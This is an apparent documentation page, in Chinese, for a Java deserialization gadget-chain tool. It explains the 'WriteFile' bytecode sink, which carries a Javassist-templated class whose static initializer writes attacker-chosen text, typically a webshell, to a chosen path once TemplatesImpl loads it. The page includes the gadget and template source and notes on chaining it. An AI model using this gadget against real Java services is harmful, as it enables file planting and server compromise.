Skip to content

Latest commit

 

History

History
85 lines (69 loc) · 4.85 KB

File metadata and controls

85 lines (69 loc) · 4.85 KB

写字符串到文件(WriteFile)

  • 类别:bytecode 别名:— 优先级:20
  • 作者:Ar3h
  • 依赖:无第三方依赖(内部使用 commons-codecBase64 与 Javassist)

注意:源码上标注了 @Deprecated,官方推荐改用 WriteLargeFile(支持二进制与大文件)。

作用

生成一段“字节码 payload”:其静态初始化块在被目标 JVM 加载时,用 Files.write 把一段字符串写入指定路径。是字节码类 sink(END),典型用于落地 webshell 等纯文本文件。

链接标签

  • 入口 tagsBytecodeEND
    • Bytecode —— 本 gadget 产出的是 byte[] 字节码,需由上游“字节码装载器” BytecodeConvert(其 nextTags 唯一含 Bytecode)承接,装入 TemplatesImpl 后在反序列化时触发类加载。
    • END —— 终点标签,nextTags 为空,本 gadget 是链尾 sink,之后不再衔接任何 gadget。
  • 衔接 nextTags:无。
  • excludes:无。

源码剖析

gadget 本体不含任何写文件逻辑,它只是用 Javassist 把用户参数“烧录”进一个模板类的静态字段,再导出该类的字节码:

public byte[] getObject() throws Exception {
    JavassistHelper javassistHelper = new JavassistHelper(WriteFileBytecode.class);
    String prefix = "b64:";
    // content 以 "b64:" 开头则先 Base64 解码,否则原样使用
    String text = this.content.startsWith(prefix)
        ? new String(Base64.decodeBase64((String)this.content.substring(prefix.length())))
        : this.content;
    javassistHelper.modifyStringField("content", text);   // 写入模板静态字段 content
    javassistHelper.modifyStringField("path", this.path); // 写入模板静态字段 path
    return javassistHelper.getBytecode();                 // 导出改写后的类字节码
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    chain.doCreate(context);   // 先驱动内层(本链尾 sink 通常内层为空/占位)
    return this.getObject();   // 返回 byte[] 字节码交给上游 BytecodeConvert
}

modifyStringField 直接改写模板类里两个静态常量字段 content / path。真正的危险行为在模板类的静态初始化块中——当上游把这段字节码通过 TemplatesImpl.defineClass + newInstance 触发实例化时执行:

public class WriteFileBytecode {
    public static String content;
    public static String path;

    public WriteFileBytecode() {
        try {
            // 以 UTF-8 把 content 写入 path
            Files.write(Paths.get(path, new String[0]),
                        content.getBytes(Charset.forName("UTF-8")),
                        new OpenOption[0]);
        } catch (Exception exception) { /* 静默吞异常 */ }
    }

    static { new WriteFileBytecode(); }  // 类加载即执行
}

要点:

  • content 支持 b64: 前缀,先在生成侧 Base64 解码——目的是避免特殊字符(如换行、引号)在参数传递/字节码字符串常量中破坏 payload,与 payload 内容无关。
  • 写入用 Files.write 默认打开选项(CREATE/TRUNCATE_EXISTING),即覆盖写;仅支持 UTF-8 文本,不适合二进制(二进制会因编码破坏)。
  • 静态块 catch(Exception) 静默,写失败不报错。

参数(@Param)

字段 名称 说明 默认 可选值
content 写入文件内容 无前缀直接写入;以 b64: 开头则 Base64 解码后写入,用于防止特殊字符传参报错
path 写入目标文件路径 目标文件绝对/相对路径 output.txt

适用版本与原理要点

  • 无版本依赖限制,纯 JDK API(java.nio.file.Files),JDK 7+ 均可。
  • 仅支持写入简单字符串(如 webshell 文本),不适用二进制文件;二进制/大文件请用 WriteLargeFile
  • 覆盖写语义:目标已存在会被截断覆盖。
  • 需要上游具备“把 byte[] 字节码装入并触发类初始化”的能力(TemplatesImpl 路线,通常要求目标 JDK < 17)。
  • 已被官方 @Deprecated

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。可手动组合为 [..., BytecodeConvert, WriteFile],与 Exec 在“命令执行”链中的位置等价,只是把 sink 换成文件落地。

关联

  • 上游(承接本 Bytecode tag):BytecodeConvert —— 把本 gadget 产出的字节码装入 TemplatesImpl
  • 同族 sink(同为 Bytecode/END):WriteLargeFile(二进制/大文件)、WriteFileExec(写二进制并执行)、Exec(命令执行)、Sleep(延时探测)。